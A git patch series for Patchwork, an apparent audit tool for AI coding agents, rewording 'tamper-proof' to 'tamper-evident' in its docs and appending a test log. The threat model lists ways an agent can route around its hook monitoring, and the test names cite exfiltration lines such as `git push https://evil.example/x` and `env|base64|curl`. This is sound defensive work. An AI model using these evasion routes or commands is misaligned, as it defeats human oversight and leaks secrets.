a/docs/concepts/seals-and-witnesses.md b/docs/concepts/seals-and-witnesses.md index 293bfea..4a57d34 100644 --- a/docs/concepts/seals-and-witnesses.md +++ b/docs/concepts/seals-and-witnesses.md @@ -191,6 +191,6 @@ This gives auditors cryptographic evidence that the audit trail is complete and ## Next Steps -- [Tamper-Proof Layers](/concepts/tamper-proof-layers) — how seals fit into the 5-layer architecture +- [Tamper-Evident Layers](/concepts/tamper-proof-layers) — how seals fit into the 5-layer architecture - [Compliance](/concepts/compliance) — how Patchwork maps to regulatory frameworks - [Relay Protocol](/reference/relay-protocol) — technical details of the relay and seal system diff --git a/docs/concepts/tamper-proof-layers.md b/docs/concepts/tamper-proof-layers.md index 80855ff..1a9018d 100644 --- a/docs/concepts/tamper-proof-layers.md +++ b/docs/concepts/tamper-proof-layers.md @@ -1,6 +1,11 @@ -# Tamper-Proof Layers +# Tamper-Evident Layers -Patchwork uses a 5-layer defence-in-depth architecture to ensure audit logs cannot be tampered with — even by the AI agent itself or a compromised user account. +> This page was titled "Tamper-Proof Layers" before v0.6.12. The URL is unchanged so existing +> links keep working, but the claim has been corrected: these layers make tampering **detectable**, +> they do not make it impossible. See the [threat model](/security/threat-model) for the +> Advisory versus Protected distinction. + +Patchwork uses a 5-layer defence-in-depth architecture so that tampering with an audit log is detectable, including tampering by the AI agent itself or by a compromised user account. ## Why 5 Layers? diff --git a/docs/getting-started/configuration.md b/docs/getting-started/configuration.md index 08d376b..1d23578 100644 --- a/docs/getting-started/configuration.md +++ b/docs/getting-started/configuration.md @@ -112,4 +112,4 @@ When running `patchwork init`, you can choose a security profile: - [Understand risk classification](/concepts/risk-classification) to know what gets flagged - [Write policies](/guides/policy) tailored to your project -- [Set up the relay daemon](/concepts/tamper-proof-layers) for tamper-proof logging +- [Set up the relay daemon](/concepts/tamper-proof-layers) for tamper-evident logging diff --git a/docs/getting-started/installation.md b/docs/getting-started/installation.md index 787bf61..6976417 100644 --- a/docs/getting-started/installation.md +++ b/docs/getting-started/installation.md @@ -33,7 +33,7 @@ cd packages/cli && npm link && cd ../.. - **Operating system:** macOS, Linux, or Windows - **AI agent:** Claude Code (more agents coming soon) -## System-Level Install (Tamper-Proof) +## System-Level Install (Tamper-Evident) For managed machines where non-admin users should not be able to disable auditing: @@ -62,7 +62,7 @@ The system install deploys: - A **watchdog** that ensures hooks can't be silently removed - **Immutable policy files** that non-admin users cannot modify -See [Tamper-Proof Layers](/concepts/tamper-proof-layers) for details on what each layer protects. +See [Tamper-Evident Layers](/concepts/tamper-proof-layers) for details on what each layer protects. ## Next Steps diff --git a/docs/getting-started/quickstart.md b/docs/getting-started/quickstart.md index 0eaad12..52fb3b7 100644 --- a/docs/getting-started/quickstart.md +++ b/docs/getting-started/quickstart.md @@ -75,4 +75,4 @@ All of this happens in milliseconds. The AI doesn't slow down — it just can't - [Configure policies](/getting-started/configuration) to control what your AI can do - [Understand how it works](/concepts/how-it-works) under the hood -- [Deploy the relay daemon](/concepts/tamper-proof-layers) for maximum tamper resistance +- [Deploy the relay daemon](/concepts/tamper-proof-layers) for the strongest tamper-evidence available in Advisory mode diff --git a/docs/guide.md b/docs/guide.md index 6679872..5b5dba2 100644 --- a/docs/guide.md +++ b/docs/guide.md @@ -272,7 +272,7 @@ git push origin refs/notes/patchwork ## 7. The Relay Daemon -The relay is the tamper-proof backbone. It's a root-owned daemon that receives copies of every event via Unix socket and writes them to an append-only log that non-root users cannot modify. +The relay is the tamper-evident backbone. It's a root-owned daemon that receives copies of every event via Unix socket and writes them to an append-only log that non-root users cannot modify. ### Why it matters diff --git a/docs/guides/team-mode.md b/docs/guides/team-mode.md index 9126bf9..fa17b29 100644 --- a/docs/guides/team-mode.md +++ b/docs/guides/team-mode.md @@ -56,13 +56,13 @@ patchwork team status The **sync agent** runs on each developer's machine and: -1. Reads events from the relay log (root-owned, tamper-proof) +1. Reads events from the relay log (root-owned, tamper-evident) 2. Batches events (up to 500 events or 1 MB per batch) 3. Signs the batch with the machine's API key (HMAC-SHA256) 4. Pushes to the team server's ingest endpoint 5. Tracks sync progress with a local cursor -Events are synced from the **relay log**, not the user log — ensuring the team server receives the tamper-proof copy. +Events are synced from the **relay log**, not the user log — ensuring the team server receives the tamper-evident copy. ## Unenrolling diff --git a/docs/index.md b/docs/index.md index f5921e5..afa1819 100644 --- a/docs/index.md +++ b/docs/index.md @@ -15,7 +15,7 @@ hero: features: - title: See Everything - details: Every file edit, command, and web request logged with tamper-proof SHA-256 hash chains. Nothing gets past unrecorded. + details: Every file edit, command, and web request logged with tamper-evident SHA-256 hash chains. Nothing gets past unrecorded. icon: src: /icons/search.svg - title: Enforce Rules @@ -26,8 +26,8 @@ features: details: Generate reports mapped to SOC 2, ISO 27001, the EU AI Act, NIST AI RMF, and more. 7 frameworks, 31 controls. icon: src: /icons/clipboard.svg - - title: Tamper-Proof - details: A 5-layer architecture — from hash chains to a root-owned relay daemon — makes it impossible for the AI to disable its own monitoring. + - title: Tamper-Evident + details: A 5-layer architecture, from hash chains to a root-owned relay daemon, makes tampering with the audit trail detectable. Hook-level enforcement is advisory today; OS-level containment arrives in Protected Mode. icon: src: /icons/lock.svg - title: Local-First diff --git a/docs/security/architecture.md b/docs/security/architecture.md index 18e44c4..0668bef 100644 --- a/docs/security/architecture.md +++ b/docs/security/architecture.md @@ -25,7 +25,7 @@ Patchwork follows the defence-in-depth principle: no single layer is trusted to └─────────────────────────────────────────────┘ ``` -See [Tamper-Proof Layers](/concepts/tamper-proof-layers) for a user-friendly explanation of each layer. +See [Tamper-Evident Layers](/concepts/tamper-proof-layers) for a user-friendly explanation of each layer. ## Cryptographic Primitives diff --git a/docs/security/threat-model.md b/docs/security/threat-model.md index 5457cfc..588a593 100644 --- a/docs/security/threat-model.md +++ b/docs/security/threat-model.md @@ -1,5 +1,13 @@ # Threat Model +> **Security model, read this first.** Patchwork v0.6.x runs as **Advisory / tamper-evident**. +> Enforcement happens in hooks that run at the *same privilege as the agent*, which makes tampering +> *detectable* and stops the obvious attacks, but a determined same-UID process can route around +> hook-level policy via alternate interpreters, child processes or direct network calls. Patchwork is +> not an OS sandbox and should not be relied on as tamper-*resistant* against a hostile or fully +> autonomous agent. True tamper-resistance, a root-owned supervisor that launches the agent inside +> OS-level containment, is **Protected Mode (v0.7)**. + This page describes what Patchwork is designed to protect against, what it cannot protect against, and the assumptions it makes. ## What Patchwork Protects Against @@ -8,7 +16,16 @@ This page describes what Patchwork is designed to protect against, what it canno **Threat:** An AI agent attempts to disable its own monitoring, delete audit logs, or weaken security policies. -**Mitigation:** The hook scripts run in a separate process from the AI agent. The agent cannot access or modify the hook configuration, the audit log, or the policy files. With the relay daemon (Layer 2), even deleting the user-level log doesn't destroy the audit trail. +**Mitigation (partial, and honestly bounded):** The hook scripts run in a separate process from the AI +agent, and the system policy at `/Library/Patchwork/policy.yml` is root-owned, so an agent running as +the user cannot weaken it. With the relay daemon (Layer 2), deleting the user-level log does not +destroy the audit trail, and the hash chain makes any edit to an accepted event detectable. + +**What this does NOT do:** the hooks run at the agent's own UID, so an agent can modify its own +user-level hook configuration, and it can perform actions the hooks never observe at all, such as +work done by a grandchild process of an approved command, a package lifecycle script, or an +interpreter invoked as `python -c`. Patchwork proves the log was not edited. It does not yet prove +the log is complete. Closing that gap requires OS-level containment, which is Protected Mode (v0.7). ### 2. Log Tampering (Non-Root User) diff --git a/docs/team-mode-architecture.md b/docs/team-mode-architecture.md index 0f838f9..3c4aef5 100644 --- a/docs/team-mode-architecture.md +++ b/docs/team-mode-architecture.md @@ -108,7 +108,7 @@ packages/team/ Runs as a background daemon (launchd/systemd/Task Scheduler) alongside the relay daemon. Reads from the relay's append-only log and pushes batches to the team server. -**Reads from relay log, not user log.** The relay log at `/Library/Patchwork/events.relay.jsonl` is root-owned and tamper-proof. A malicious user cannot modify it. +**Reads from relay log, not user log.** The relay log at `/Library/Patchwork/events.relay.jsonl` is root-owned, so a process running as the user cannot modify it, and the hash chain makes any edit to an accepted event detectable. It does not protect against events that were never submitted, or against fabricated events submitted over the socket by a same-UID process. **Sync cursor** persisted at `/Library/Patchwork/team/sync-cursor.json`: ```json diff --git a/packages/cli/src/commands/setup.ts b/packages/cli/src/commands/setup.ts index 620f397..563142b 100644 --- a/packages/cli/src/commands/setup.ts +++ b/packages/cli/src/commands/setup.ts @@ -72,7 +72,7 @@ const PROFILES: SetupProfile[] = [ }, { name: "Developer workstation", - description: "Full tamper-proof setup. Relay daemon, locked hooks, strict policy.", + description: "Full tamper-evident setup. Relay daemon, locked hooks, strict policy.", policyMode: "fail-closed", strictProfile: true, relay: true, @@ -81,7 +81,7 @@ const PROFILES: SetupProfile[] = [ }, { name: "Managed / compliance", - description: "Enterprise-grade. Tamper-proof, fail-closed, system-level enforcement.", + description: "Enterprise-grade. Tamper-evident, fail-closed, system-level enforcement.", policyMode: "fail-closed", strictProfile: true, relay: true, @@ -109,7 +109,7 @@ export const setupCommand = new Command("setup") console.log(chalk.bold.cyan("\n Patchwork Setup\n")); console.log(chalk.dim(" The audit trail for AI coding agents.\n")); console.log(chalk.dim(" This wizard will configure hooks, policy,")); - console.log(chalk.dim(" and optionally the tamper-proof relay daemon.\n")); + console.log(chalk.dim(" and optionally the tamper-evident relay daemon.\n")); // --------------------------------------------------------------- // Step 1: Detect environment @@ -156,7 +156,7 @@ export const setupCommand = new Command("setup") profile.strictProfile = modeIdx === 1; if (platform !== "win32") { - profile.relay = await confirm("Install relay daemon? (tamper-proof root-owned audit copy, needs sudo)"); + profile.relay = await confirm("Install relay daemon? (tamper-evident root-owned audit copy, needs sudo)"); profile.systemInstall = await confirm("Lock hooks with system-level enforcement? (prevents AI from disabling monitoring, needs sudo)"); } profile.dashboard = await confirm("Enable web dashboard?"); From 16bffc9d51f19858808433dc223c2eec2682277a Mon Sep 17 00:00:00 2001 From: JonoGitty Date: Tue, 6 Oct 2026 10:22:03 +0100 Subject: [PATCH 04/11] docs(TEST_LOG): append 2026-10-06 verification entry Ran the repo's own verification gate (`pnpm test:log:write`) over the v0.6.12 branch. Overall PASS, 1404/1404 across 299 suites. Previous entry was 2026-04-28, so the log had not been refreshed across the whole v0.6.11 cycle. Note on the two test counts, since they look contradictory: `test:log` covers core + agents + cli only (1404), while `pnpm test` adds team (99) and web (12) for 1515. The README quotes the all-packages figure, which is consistent with the 1509 it quoted at v0.6.11, plus the six new R6-002 cases. Co-Authored-By: Claude Opus 5 (1M context) --- docs/TEST_LOG.md | 81 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 81 insertions(+) diff --git a/docs/TEST_LOG.md b/docs/TEST_LOG.md index 5fe80d0..5d7bcd5 100644 --- a/docs/TEST_LOG.md +++ b/docs/TEST_LOG.md @@ -8184,4 +8184,85 @@ Rolling record of test runs during development. - `packages/cli/tests/remote-witness.test.ts` (10 tests): checkRemoteWitnesses, emptyRemoteWitnessResult. Example cases: returns verified when endpoint returns 200 with matching anchor_id; strips trailing slashes from witness_url when building proof URL; fails when quorum not met. +--- + +## 2026-10-06T09:21:27.117Z + +- Overall status: PASS +- Totals: 1404/1404 passed, 0 failed across 299 suites + +### @patchwork/core +- Status: PASS +- Totals: 819/819 passed, 0 failed, 0 skipped/todo across 173 suites +- Coverage by test file: +- `packages/core/tests/attestation/intoto.test.ts` (18 tests): DSSE PAE, canonicalize, buildInTotoStatement, buildDsseEnvelope + verifyDsseEnvelope, decodeStatement, digestStatement. Example cases: produces 'DSSEv1 LEN(t) t LEN(m) m' format; uses byte length, not codepoint length, for multi-byte payloads; preserves raw bytes in payload region without re-encoding. +- `packages/core/tests/core/tool-event-registry.test.ts` (22 tests): tool registry, normalizeToolEvent, registry coverage invariant. Example cases: covers every Claude Code tool Patchwork v0.6.11 must reason about; registry entries have well-formed metadata for every required field; Bash registers as enforce + fail-closed (highest-risk tool). +- `packages/core/tests/git/parse-config.test.ts` (15 tests): parseGitConfig — basic sections, parseGitConfig — quoting and escapes, parseGitConfig — url.PREFIX subsections, mergeGitConfig + configFromFlat. Example cases: parses [section] key = value; parses [section "sub"] form; parses legacy [section.sub] dotted form. +- `packages/core/tests/git/resolve-remote.test.ts` (27 tests): resolveGitRemote — direct argv URL (the basic smuggle vector), resolveGitRemote — named remote, resolveGitRemote — same-command remote-add smuggle (A6b), resolveGitRemote — -c flag override smuggle (A6c), resolveGitRemote — url.insteadOf rewriting, resolveGitRemote — non-network verbs. Example cases: git push https://evil.example/x → urls=[that URL]; git push git@github.com:foo/bar.git (scp-like) → resolved; git fetch ssh://… (alt scheme) → argv_url path used. +- `packages/core/tests/hash/attestation.test.ts` (14 tests): buildAttestationPayload, hashAttestationPayload, signAttestation + verifyAttestation. Example cases: produces deterministic output for identical input; excludes signature and payload_hash from payload; uses sorted keys for determinism. +- `packages/core/tests/hash/chain.test.ts` (30 tests): canonicalize, computeEventHash, JsonlStore hash chain, verifyChain, verifyEventHashes (per-event tamper check). Example cases: sorts object keys deterministically; handles nested objects with stable ordering; preserves array element order. +- `packages/core/tests/hash/seal.test.ts` (37 tests): computeSealPayload, signSeal / verifySeal, ensureSealKey, readSealKey, deriveSealKeyId, ensureKeyring. Example cases: returns a deterministic versioned string; is deterministic across calls; changes when any input changes. +- `packages/core/tests/hash/witness.test.ts` (22 tests): WitnessRecordSchema, buildWitnessPayload, validateWitnessResponse, hashWitnessPayload. Example cases: accepts a complete valid record; accepts a record with optional fields; rejects record with wrong schema_version. +- `packages/core/tests/policy/admin-cli-deny.test.ts` (20 tests): must DENY, must NOT false-positive. Example cases: bare `patchwork approve `; bare `patchwork clear-taint`; bare `patchwork trust-repo-config foo`. +- `packages/core/tests/policy/engine.test.ts` (36 tests): risk threshold, file rules, command rules, network rules, MCP rules, non-matching actions. Example cases: allows actions within risk threshold; denies actions exceeding risk threshold; allows actions at exact threshold. +- `packages/core/tests/policy/loader.test.ts` (11 tests): loadPolicyFromFile, loadActivePolicy, policyToYaml, built-in policies. Example cases: loads and parses a YAML policy file; applies defaults for missing fields; returns default policy when no files exist. +- `packages/core/tests/relay/auto-seal.test.ts` (15 tests): shouldAutoSeal, performSeal, readLastSeal, performAutoSealCycle. Example cases: returns false when disabled; returns false when no chain tip; returns false when not enough new events. +- `packages/core/tests/relay/client.test.ts` (7 tests): Relay Client. Example cases: sendToRelay sends event to daemon; sendToRelay is silent when socket does not exist; pingRelay returns response when daemon is running. +- `packages/core/tests/relay/config.test.ts` (13 tests): Relay Config, socket_group. Example cases: returns defaults when config file is missing; loads a valid config file; merges partial config with defaults. +- `packages/core/tests/relay/daemon.test.ts` (22 tests): RelayDaemon, sign endpoint payload validator. Example cases: creates socket and PID file on start; responds to ping; accepts valid audit events. +- `packages/core/tests/relay/signing-proxy.test.ts` (14 tests): Signing Proxy, requestVerification. Example cases: signs data via relay daemon; returns consistent signatures for same data; falls back to local keyring when relay is unavailable. +- `packages/core/tests/risk/classifier.test.ts` (32 tests): session events, file operations, sensitive files, config files, commands, network. Example cases: session_start is none risk; session_end is none risk; prompt_submit is none risk. +- `packages/core/tests/risk/sensitive.test.ts` (14 tests): matchesGlob, SENSITIVE_GLOBS. Example cases: matches .env at root; matches .env in subdirectory; matches .env.local. +- `packages/core/tests/schema/commit-attestation.test.ts` (14 tests): CommitAttestationSchema. Example cases: validates a complete attestation; accepts null chain_tip_hash; accepts failure_reasons list. +- `packages/core/tests/schema/event.test.ts` (14 tests): AuditEventSchema, schema_version contract. Example cases: validates a complete event; validates a minimal event; rejects invalid agent type. +- `packages/core/tests/schema/hash.test.ts` (9 tests): hashContent, generateEventId, generateSessionId. Example cases: returns sha256: prefix; produces consistent hashes; produces different hashes for different content. +- `packages/core/tests/shell/lexer.test.ts` (34 tests): lexer — basic words and operators, lexer — quoting, lexer — expansion / command substitution, lexer — redirects, lexer — process substitution, lexer — assignments. Example cases: splits simple words; recognizes pipe operator; recognizes && and ||. +- `packages/core/tests/shell/parse.test.ts` (64 tests): parser — simple commands, parser — pipelines, parser — sequences, parser — process substitution, parser — compound prefix unwrap, parser — sh -c inline unwrap. Example cases: parses a single resolved command at high confidence; captures env-prefix assignments; $VAR in argv drops to low confidence and unresolved argv. +- `packages/core/tests/sinks/classify.test.ts` (29 tests): classifyToolEvent — claude_file_write_persistence, classifyToolEvent — secret_read, classifyToolEvent — empty / negative cases, highestSeverity. Example cases: flags Write to ~/.zshrc as persistence sink (untainted = approval_required); escalates to deny when ANY taint is active; matches all four Claude-native write tools. +- `packages/core/tests/store/jsonl.test.ts` (48 tests): JsonlStore, query, file permissions, schema validation, idempotency dedup, file locking. Example cases: starts empty; appends and reads a single event; appends multiple events in order. +- `packages/core/tests/store/sqlite.test.ts` (30 tests): SqliteStore, query, search (FTS5), file permissions, schema validation, schema_version and idempotency_key. Example cases: creates DB file on disk; uses WAL mode; starts empty. +- `packages/core/tests/taint/snapshot.test.ts` (37 tests): createSnapshot, registerTaint, registerGeneratedFile, clearTaint, forgetGeneratedFile, hasAnyTaint / hasKind / getActiveSources. Example cases: returns an empty snapshot with all five kinds initialized; ALL_TAINT_KINDS lists exactly five kinds in declaration order; appends a source to the matching kind. +- `packages/core/tests/url/adversarial.test.ts` (92 tests): URL canonicalization adversarial corpus (≥80 fixtures), canonicalizeUrl produces stable identity for equivalent inputs. Example cases: has at least 80 fixtures (design 3.4 contract); userinfo basic; userinfo username only. +- `packages/core/tests/url/canonicalize.test.ts` (79 tests): canonicalizeUrl — basic happy path, canonicalizeUrl — userinfo rejection, canonicalizeUrl — scheme policy, canonicalizeUrl — IP literal flags, canonicalizeUrl — IDN handling, canonicalizeUrl — invalid + edge cases. Example cases: normalizes scheme + host to lowercase; strips default port 443 for https; strips default port 80 for http. + + +### @patchwork/agents +- Status: PASS +- Totals: 290/290 passed, 0 failed, 0 skipped/todo across 56 suites +- Coverage by test file: +- `packages/agents/tests/claude-code/adapter.test.ts` (62 tests): handleClaudeCodeHook, schema_version and idempotency_key, directory permissions, privacy-safe defaults, taint snapshot wiring, PreToolUse enforcement. Example cases: handles SessionStart; handles SessionEnd; handles PostToolUse for file Write. +- `packages/agents/tests/claude-code/approval-store.test.ts` (9 tests): approval-store (v0.6.11 commit 9). Example cases: canonicalKey is stable for the same inputs; canonicalKey differs for different sessions / tools / targets; writePendingRequest → readPendingRequest roundtrips. +- `packages/agents/tests/claude-code/commit-attestor.test.ts` (20 tests): generateCommitAttestation, writeCommitAttestation / readCommitAttestation, writeAttestationFailure, in-toto/DSSE envelope (v0.6.9 opt-in). Example cases: generates a valid attestation; reports pass:false when no events exist; fails when a high-risk denial occurs since the last commit. +- `packages/agents/tests/claude-code/dangerous-shell-combos.test.ts` (58 tests): classifyDangerousShellCombos (R1-005), R2-004: env-dump + egress, R3-002: `set` with arguments is NOT an env dump, R3-003: env-dump variants, R5-001: admin CLI invocation (semantic), R4-002: /proc//environ aliases. Example cases: emits pipe_to_shell for curl | sh under taint; emits pipe_to_shell at approval_required when untainted; emits pipe_to_shell for process-sub into interpreter (bash <(curl …)). +- `packages/agents/tests/claude-code/git-commit-detector.test.ts` (26 tests): isGitCommitCommand, extractCommitInfo, usesNoVerify. Example cases: detects simple git commit; detects git commit -am; detects git commit in chained commands. +- `packages/agents/tests/claude-code/installer.test.ts` (31 tests): installClaudeCodeHooks, uninstallClaudeCodeHooks, installer PreToolUse options, upgrade-in-place hook reconfiguration, installer policyMode option, installer hook timeouts. Example cases: creates .claude directory and settings.json; installs hooks for expected events; hooks use correct nested matcher format. +- `packages/agents/tests/claude-code/mapper.test.ts` (12 tests): mapClaudeCodeTool. Example cases: maps Write to file_create; maps Edit to file_edit; maps Read to file_read. +- `packages/agents/tests/claude-code/pre-tool-decision.test.ts` (27 tests): decidePreToolUse — rule 1: policy passthrough, decidePreToolUse — reader fail-closed semantics, decidePreToolUse — rule 3: shell keystone (unknown + indicator + taint = DENY), decidePreToolUse — rule 4: sink deny, decidePreToolUse — rule 5: sink approval_required, decidePreToolUse — rule 6: default allow. Example cases: denies when the existing rule-based policy denied; policy deny wins over a deny-severity sink match (same outcome, different rule attribution); policy deny wins over a null snapshot situation. +- `packages/agents/tests/claude-code/taint-store.test.ts` (15 tests): taint-store. Example cases: derives the taint dir under $HOME/.patchwork/taint; sanitizes session_id into a safe filename; roundtrips a snapshot through write+read. +- `packages/agents/tests/codex/history-parser.test.ts` (7 tests): syncCodexHistory. Example cases: returns zeros when no history exists; handles empty history file; ingests prompt_submit events with content hashes. +- `packages/agents/tests/common/detector.test.ts` (7 tests): detectInstalledAgents. Example cases: detects claude-code when which claude succeeds; detects codex when which codex succeeds; reports installed: false when which throws. +- `packages/agents/tests/integration/pipeline.test.ts` (6 tests): E2E: Claude Code session pipeline. Example cases: captures a complete session lifecycle; captures failed tool uses; captures subagent lifecycle. +- `packages/agents/tests/integration/release-gate-A1-A8.test.ts` (10 tests): v0.6.11 release-gate: A1–A8 attacker scenarios. Example cases: A1 — README read → gh gist create .env → DENY; A2 — WebFetch tainted → env|base64|curl-d → DENY (R2-004 env-dump combo); A3 — MCP tainted → npm install pkg → DENY or approval_required. + + +### patchwork-audit +- Status: PASS +- Totals: 295/295 passed, 0 failed, 0 skipped/todo across 70 suites +- Coverage by test file: +- `packages/cli/tests/analysis/diff.test.ts` (9 tests): computeFileDiff. Example cases: detects CREATED files; detects MODIFIED files; detects DELETED files. +- `packages/cli/tests/analysis/stats.test.ts` (9 tests): computeStats. Example cases: counts events by action; counts events by agent; counts events by risk level. +- `packages/cli/tests/commands/attest.test.ts` (29 tests): patchwork attest, attest tool_version, attest history mode, attest --profile, attest --max-history-files validation, attest config validation. Example cases: A: writes signed attestation artifact on successful verification; A2: signature verifies with keyring key; A3: tampered artifact fails signature verification. +- `packages/cli/tests/commands/hook.test.ts` (25 tests): hook pre-tool fail-closed mode, hook PreToolUse latency warning, hook PreToolUse structured telemetry, hook PreToolUse telemetry file sink, hook PreToolUse telemetry file rotation, hook PreToolUse telemetry concurrency hardening. Example cases: A: PreToolUse + fail-closed + invalid JSON => deny JSON emitted; B: PreToolUse + fail-closed disabled + invalid JSON => no deny output; C: non-PreToolUse + fail-closed enabled + invalid JSON => no deny output. +- `packages/cli/tests/commands/init.test.ts` (20 tests): init --pretool flags, init --strict-profile. Example cases: E: passes --pretool-fail-closed through to installer; E: passes --pretool-warn-ms through to installer; E: validates bad --pretool-warn-ms with clear error. +- `packages/cli/tests/commands/seal.test.ts` (40 tests): seal command, seal append locking, verify with seal, verify --require-seal, verify --max-seal-age-seconds, seal file permission hardening. Example cases: creates seal key with secure permissions; generates a valid seal record; exits non-zero when no events exist. +- `packages/cli/tests/commands/sync.test.ts` (15 tests): sync db-status, sync db clears marker, sync db partial rebuild failure. Example cases: reports no divergence when marker is absent; reports divergence when marker is present; JSON output includes diverged flag and marker details when present. +- `packages/cli/tests/commands/verify.test.ts` (75 tests): verify command, verify --max-seal-age-seconds input validation, verify --require-witness, verify --max-witness-age-seconds, verify --strict-witness-file, verify witness JSON output. Example cases: passes for a valid chain; exits non-zero when JSON parse errors are present; exits non-zero when schema-invalid events are present. +- `packages/cli/tests/commands/witness.test.ts` (14 tests): witness publish, witness lock concurrency, witness verify. Example cases: A: writes one witness record for single successful endpoint; B: quorum behavior — partial failures, passes when successes >= quorum; B2: quorum NOT met — fails when successes < quorum. +- `packages/cli/tests/config.test.ts` (24 tests): loadConfig, resolveVerifyDefaults, config validation. Example cases: M1: returns empty config when no config files exist; M2: loads project-level .patchwork/config.yml; M3: project-level config takes precedence over user-level. +- `packages/cli/tests/lib/require-human-context.test.ts` (5 tests): checkHumanContext (R2-001/002 fix). Example cases: ok when both stdin and stdout are TTYs; NOT ok when stdin is not a TTY (typical agent subprocess); NOT ok when stdout is not a TTY (output captured to a pipe). +- `packages/cli/tests/output/colors.test.ts` (12 tests): riskIcon, riskColor. Example cases: returns CRITICAL badge for critical; returns HIGH badge for high; returns a string for medium. +- `packages/cli/tests/output/formatter.test.ts` (8 tests): formatEvent, formatEventCompact. Example cases: includes the action in output; includes the target path; includes the agent name. +- `packages/cli/tests/remote-witness.test.ts` (10 tests): checkRemoteWitnesses, emptyRemoteWitnessResult. Example cases: returns verified when endpoint returns 200 with matching anchor_id; strips trailing slashes from witness_url when building proof URL; fails when quorum not met. + + --- From 1ab24a6454715bfb37674f6fff3d6e70acb90e3f Mon Sep 17 00:00:00 2001 From: JonoGitty Date: Tue, 6 Oct 2026 11:05:26 +0100 Subject: [PATCH 05/11] fix(docs): system-policy edits need the immutable flag cleared; unbreak docs build MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Two problems found by actually walking the v0.6.11 upgrade path on a real hardened install rather than reading it. 1. The documented remediation was impossible. The system-level install flags /Library/Patchwork/policy.yml immutable (chflags schg on macOS, chattr +i on Linux, attrib +R on Windows), so writing it fails as root with 'Operation not permitted' — not a permissions message, and nothing in the docs mentioned the flag despite the README advertising it as a feature. So between the non-existent 'init --upgrade' flag and this, there was NO working documented way to install the R6 admin-CLI deny rule on a hardened install. The migration guide now gives the three-step sequence, insists the flag is restored afterwards (leaving it cleared silently downgrades the install), and notes that 'policy validate' reports on the file you point it at, so a failed write followed by a successful validate is not evidence the edit landed. An installation.md warning cross-references it. It also records that a policy change needs no relay restart, since the hook loads policy per invocation — worth saying, because an unnecessary restart drops any event in flight. 2. docs/TEST_LOG.md broke the docs build, which I introduced earlier today by regenerating it. VitePress compiles every .md under docs/ through the Vue compiler, and the new R6-002 test names contain angle-bracket placeholders that read as unclosed HTML. The build then fails with 'Element is missing end tag' pointing at an unrelated line 67 characters long, which is why it was not obvious. TEST_LOG is a generated record and is not linked from the nav or sidebar, so it is now srcExcluded. That also stops any future 'test:log:write' from breaking the docs deploy when the corpus gains such a name. This would have failed the Deploy Docs workflow on push to main. Co-Authored-By: Claude Opus 5 (1M context) --- docs/.vitepress/config.mts | 9 ++++++ docs/getting-started/installation.md | 10 +++++++ docs/v0.6.11/index.md | 7 +++-- docs/v0.6.11/migration.md | 42 ++++++++++++++++++++++++++-- 4 files changed, 63 insertions(+), 5 deletions(-) diff --git a/docs/.vitepress/config.mts b/docs/.vitepress/config.mts index caa51d7..1c77b7e 100644 --- a/docs/.vitepress/config.mts +++ b/docs/.vitepress/config.mts @@ -1,6 +1,15 @@ import { defineConfig } from "vitepress"; export default defineConfig({ + // TEST_LOG.md is a generated record, not a page, and is not linked from + // the nav or sidebar. VitePress still compiles every .md under docs/ + // through the Vue compiler, which chokes on angle-bracket tokens that + // occur naturally in test names (placeholders such as or read + // as unclosed HTML) and then fails the whole build with a misleading + // "Element is missing end tag" pointing at an unrelated line. Excluding + // it stops `pnpm test:log:write` from being able to break the docs + // deploy every time the test corpus gains such a name. + srcExclude: ["**/TEST_LOG.md"], title: "Patchwork", description: "The audit trail for AI coding agents", base: "/patchwork-audit/", diff --git a/docs/getting-started/installation.md b/docs/getting-started/installation.md index 6976417..7fea69d 100644 --- a/docs/getting-started/installation.md +++ b/docs/getting-started/installation.md @@ -64,6 +64,16 @@ The system install deploys: See [Tamper-Evident Layers](/concepts/tamper-proof-layers) for details on what each layer protects. +::: warning Editing a system-level policy later +The system install flags `/Library/Patchwork/policy.yml` immutable +(`chflags schg` on macOS, `chattr +i` on Linux, `attrib +R` on Windows). +That is deliberate, but it means **even `root` cannot edit the policy** +until the flag is cleared, and a write attempt fails with +`Operation not permitted` rather than a permissions message. Clear the +flag, edit, then set it again — and verify with `ls -lO` that it is back, +because leaving it cleared silently downgrades the install. +::: + ## Next Steps Once installed, follow the [Quickstart](/getting-started/quickstart) to set up your first audited session. diff --git a/docs/v0.6.11/index.md b/docs/v0.6.11/index.md index abefd03..ed25e4b 100644 --- a/docs/v0.6.11/index.md +++ b/docs/v0.6.11/index.md @@ -139,8 +139,11 @@ patchwork init The admin-CLI deny rule must then be added to `/Library/Patchwork/policy.yml` by hand. There is no `--upgrade` flag, and `patchwork init` does not refresh an existing system -policy. See the migration guide for the exact rule, and check with -`patchwork policy show` rather than assuming. +policy. On a system-level install the policy file is flagged +immutable, so the edit needs `chflags noschg` first and `chflags +schg` afterwards. See the [migration guide](/v0.6.11/migration) for +the exact rule and the full sequence, and check the result with +`patchwork policy show | grep clear-taint` rather than assuming. Audit data is forward + backward compatible — JSONL events, SQLite events, DSSE attestations, and seal chains are all stable across the diff --git a/docs/v0.6.11/migration.md b/docs/v0.6.11/migration.md index 23b333e..9233d03 100644 --- a/docs/v0.6.11/migration.md +++ b/docs/v0.6.11/migration.md @@ -150,8 +150,34 @@ in your live system policy at `/Library/Patchwork/policy.yml`. **This is a manual edit.** `patchwork init` installs hooks; it does not refresh an existing system policy, and there is no `--upgrade` flag (earlier revisions of this guide referenced one that was never -implemented). In your own terminal, add this rule under -`commands.deny:` in `/Library/Patchwork/policy.yml`: +implemented). + +**If you used the system-level install, the policy file is flagged +immutable and even `root` cannot write it until you clear the flag.** +That is the hardening working as intended, but it does mean the edit +is a three-step operation. Check first: + +```sh +ls -lO /Library/Patchwork/policy.yml +# -rw-r--r-- 1 root wheel schg ... <- schg means immutable +``` + +On macOS, clear the flag, edit, then **put it back**. Leaving it +cleared silently downgrades your install: + +```sh +sudo cp /Library/Patchwork/policy.yml "/Library/Patchwork/policy.yml.bak-$(date +%Y%m%d)" +sudo chflags noschg /Library/Patchwork/policy.yml +# ... make the edit below ... +sudo chflags schg /Library/Patchwork/policy.yml +ls -lO /Library/Patchwork/policy.yml # confirm schg is back +``` + +On Linux the equivalent is `sudo chattr -i` then `sudo chattr +i`; on +Windows, `attrib -R` then `attrib +R`. + +Add this rule under `commands.deny:` in +`/Library/Patchwork/policy.yml`: ```yaml - regex: "(^|[^A-Za-z0-9_-])patchwork[ 